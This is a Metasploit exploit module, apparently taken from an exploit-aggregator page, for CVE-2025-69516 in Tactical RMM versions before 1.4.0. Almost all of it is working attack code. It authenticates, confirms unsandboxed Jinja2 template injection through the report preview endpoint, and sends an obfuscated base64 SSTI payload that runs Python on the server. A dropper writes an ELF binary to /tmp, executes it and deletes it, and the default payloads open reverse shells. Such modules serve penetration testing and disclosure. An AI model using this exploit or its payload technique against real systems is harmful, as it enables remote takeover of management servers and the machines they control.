Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-TACTICALRMM_SSTI_RCE_CVE_2025_69516-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Tactical RMM Jinja2 SSTI Remote Code Execution',
        'Description' => %q{
          This module exploits a Server-Side Template Injection (SSTI) vulnerability
          in Tactical RMM versions prior to 1.4.0 (CVE-2025-69516).

          The reporting template preview endpoint passes user-controlled Jinja2 template
          content to Environment.from_string() without sandboxing, allowing arbitrary
          Python code execution on the server.

          Valid credentials are required. The module authenticates to obtain a Knox API
          token, then delivers a Jinja2 SSTI payload through the template preview
          functionality to achieve OS command execution.

          The vulnerability was silently patched in version 1.4.0 by switching from
          jinja2.Environment to jinja2.sandbox.SandboxedEnvironment.
        },
        'Author' => [
          'Gabriel Gomes', # CVE discovery
          'Valentin Lobstein <chocapikk[at]leakix.net>' # Module and analysis
        ],
        'References' => [
          ['CVE', '2025-69516'],
          ['URL', 'https://github.com/amidaware/tacticalrmm'],
          ['URL', 'https://github.com/NtGabrielGomes/CVE-2025-69516']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Python',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON,
              'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter_reverse_tcp' }
            }
          ],
          [
            'Unix/Linux Command',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' }
            }
          ],
          [
            'Linux x64',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X64,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'DisclosureDate' => '2026-01-29',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('USERNAME', [true, 'Username for Tactical RMM', 'tactical']),
      OptString.new('PASSWORD', [true, 'Password for Tactical RMM', 'tactical']),
      OptString.new('API_VHOST', [false, 'API hostname (auto-discovered from /env-config.js if blank)']),
      OptString.new('WritableDir', [true, 'Writable directory for payload drop', '/tmp'])
    ])
  end

  def discover_api_host
    return datastore['API_VHOST'] unless datastore['API_VHOST'].blank?

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'env-config.js')
    )

    if res&.code == 200 && res.body =~ %r{PROD_URL:\s*"https?://([^"]+)"}
      api_host = ::Regexp.last_match(1)
      vprint_status("Auto-discovered API host: #{api_host}")
      return api_host
    end

    nil
  end

  def api_request(opts = {})
    @api_host ||= discover_api_host
    if @api_host
      opts['headers'] ||= {}
      opts['headers']['Host'] = @api_host
    end
    send_request_cgi(opts)
  end

  def try_login
    res = api_request(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'v2', 'checkcreds/'),
      'ctype' => 'application/json',
      'data' => { username: datastore['USERNAME'], password: datastore['PASSWORD'] }.to_json
    )

    return nil unless res&.code == 200

    json = res.get_json_document
    return nil if json['totp'] == true

    json['token']
  end

  def login
    token = try_login
    fail_with(Failure::NoAccess, 'Authentication failed') unless token

    token
  end

  def send_template(token, template_md)
    api_request(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'reporting', 'templates', 'preview/'),
      'ctype' => 'application/json',
      'headers' => { 'Authorization' => "Token #{token}" },
      'data' => {
        template_md: template_md,
        type: 'html',
        template_css: '',
        template_html: nil,
        template_variables: '{}',
        dependencies: {},
        format: 'html',
        debug: false
      }.to_json
    )
  end

  def get_version(token)
    res = api_request(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'core', 'dashinfo/'),
      'headers' => { 'Authorization' => "Token #{token}" }
    )

    return nil unless res&.code == 200

    json = res.get_json_document
    json['trmm_version']
  end

  def check
    @token ||= try_login
    return CheckCode::Unknown('Authentication failed') unless @token

    vprint_status('Authenticated successfully')

    version = get_version(@token)
    if version
      vprint_status("Tactical RMM version: #{version}")
      return CheckCode::Safe("Version #{version} is patched (SandboxedEnvironment)") if Rex::Version.new(version) >= Rex::Version.new('1.4.0')

      print_good("Version #{version} is vulnerable (< 1.4.0)")
    end

    vprint_status('Confirming SSTI...')
    rand_a = rand(2..100)
    rand_b = rand(2..100)
    expected = (rand_a * rand_b).to_s
    res = send_template(@token, "{{ #{rand_a}*#{rand_b} }}")

    return CheckCode::Unknown('No response from template preview endpoint') unless res
    return CheckCode::Vulnerable('Jinja2 SSTI confirmed via unsandboxed template evaluation') if res.code == 200 && res.body.include?(expected)
    return CheckCode::Safe('Template preview accessible but expressions not evaluated') if res.code == 200

    CheckCode::Safe("Template preview returned HTTP #{res.code}")
  end

  def ssti_payload(code)
    encoded = Rex::Text.encode_base64(code)
    '{% set g=cycler.__init__.__globals__ %}{% set b=g["__builtins__"] %}' \
    "{% set x=b['__import__']('threading').Thread(target=b['exec'],args=(b['__import__']('base64').b64decode('#{encoded}').decode(),{'__builtins__':b}),daemon=True).start() %}"
  end

  # The target container has no curl/wget, so we embed the ELF payload
  # inline as base64 and use Python to write, execute, and clean it up.
  def python_dropper(exe)
    p = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
    "import base64,os,subprocess,time;p='#{p}';open(p,'wb').write(base64.b64decode('#{[exe].pack('m0')}'));os.chmod(p,0o755);subprocess.Popen([p]);time.sleep(2);os.remove(p)"
  end

  def exploit
    @token ||= login
    print_status('Authenticated, token obtained')
    print_status('Sending SSTI payload...')

    case target['Arch']
    when ARCH_PYTHON
      code = payload.encoded
    when ARCH_CMD
      code = "import subprocess;subprocess.Popen(#{payload.encoded.inspect},shell=True)"
    when ARCH_X64
      code = python_dropper(generate_payload_exe)
    end

    send_template(@token, ssti_payload(code))
  end
end